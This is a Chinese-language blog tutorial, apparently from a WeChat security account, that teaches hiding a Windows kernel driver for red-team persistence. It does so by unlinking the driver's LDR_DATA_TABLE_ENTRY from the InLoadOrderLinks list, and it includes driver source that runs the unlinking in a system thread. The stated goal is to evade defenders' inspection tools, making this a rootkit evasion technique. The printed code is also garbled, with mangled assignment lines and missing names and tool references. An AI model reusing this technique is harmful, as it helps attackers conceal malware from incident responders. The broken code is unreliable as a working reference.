前言
在做權限維持的時候,往往采用三環的技術顯得可能微不足道了。本節用內核層的技術實現驅動信息隱藏。
1.惡意驅動文件查找
在普遍的紅藍對抗中,藍隊針對于底層的知識了解的少而又少,這里舉一個較為常見的例子..
藍隊可能使用等工具進行分析可疑進程和文件。
之后我們載入一個自己寫的驅動文件,看一下的情況,可以在本工具成功看到我們的驅動信息。
2.驅動斷鏈隱藏結構
在Y結構體中系統進程隱藏工具,成員,這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中。
PDRIVER_OBJECT->PLDR_DATA_TABLE_ENTRY->InLoadOrderLinks
Y結構體如下:
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;//這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中 我們關系第一個 我們要遍歷鏈表 雙鏈表 不管中間哪個節點都可以遍歷整個鏈表 本驅動的驅動對象就是一個節點
LIST_ENTRY InMemoryOrderLinks;//系統已經啟動 沒有被初始化 沒有調用DriverEntry這個歷程的時候 通過這個鏈表進程串接起來
LIST_ENTRY InInitializationOrderLinks;//已經調用DriverEntry這個函數的所有驅動程序
PVOID DllBase;
PVOID EntryPoint;//驅動的進入點 DriverEntry
ULONG SizeOfImage;
UNICODE_STRING FullDllName;//驅動的滿路徑
UNICODE_STRING BaseDllName;//不帶路徑的驅動名字
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
3.代碼分析實現
通過進行獲取當前驅動信息,之后利用該節點即可。
代碼全部實現如下:
通過創建了一個線程,并在內部實現了驅動斷鏈。
#include
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;//這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中 我們關系第一個 我們要遍歷鏈表 雙鏈表 不管中間哪個節點都可以遍歷整個鏈表 本驅動的驅動對象就是一個節點
LIST_ENTRY InMemoryOrderLinks;//系統已經啟動 沒有被初始化 沒有調用DriverEntry這個歷程的時候 通過這個鏈表進程串接起來
LIST_ENTRY InInitializationOrderLinks;//已經調用DriverEntry這個函數的所有驅動程序
PVOID DllBase;
PVOID EntryPoint;//驅動的進入點 DriverEntry
ULONG SizeOfImage;
UNICODE_STRING FullDllName;//驅動的滿路徑
UNICODE_STRING BaseDllName;//不帶路徑的驅動名字
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
VOID Uploades(struct _DRIVER_OBJECT *DriverObject){
DbgPrint("%s\r\n",__FUNCTION__);
}
VOID Thread(PDRIVER_OBJECT next_driver){
//獲取第一個
PLDR_DATA_TABLE_ENTRY drivs = &((PLDR_DATA_TABLE_ENTRY)next_driver->DriverSection)->InLoadOrderLinks;
//進行斷鏈隱藏
0; =
0; =
0; =
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
Uploades; =
HANDLE hThread = NULL;
??PsCreateSystemThread(&hThread,?0,?NULL,?NULL,?NULL,?Thread,?driver);
return STATUS_SUCCESS;
}
之后用進行查找(以字母順序進行查找)系統進程隱藏工具,可以看到最后一項是沒有yc.sys驅動文件,隱藏成功!
微信搜索關注 "安全族" 長期更新安全資料,掃一掃即可關注安全族!